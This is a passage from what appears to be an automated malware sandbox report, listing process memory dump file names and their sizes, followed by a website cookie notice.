
                                      Filesize

                                      4KB

                                    • memory/4920-1402-0x0000000002E00000-0x0000000005F00000-memory.dmp

                                      Filesize

                                      49.0MB

                                    • memory/4920-1404-0x00000000086A2000-0x00000000086A3000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4920-1405-0x00000000086A3000-0x00000000086A4000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4920-1406-0x00000000086A4000-0x00000000086A5000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4920-1403-0x00000000086A0000-0x00000000086A1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4960-850-0x000000007E6E0000-0x000000007E6E1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4960-828-0x00000000047B2000-0x00000000047B3000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4960-826-0x00000000047B0000-0x00000000047B1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4972-1128-0x000000007EE90000-0x000000007EE91000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4972-1079-0x0000000007080000-0x0000000007081000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4972-1080-0x0000000007082000-0x0000000007083000-memory.dmp

                                      Filesize

                                      4KB

                                    We care about your privacy.

                                    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.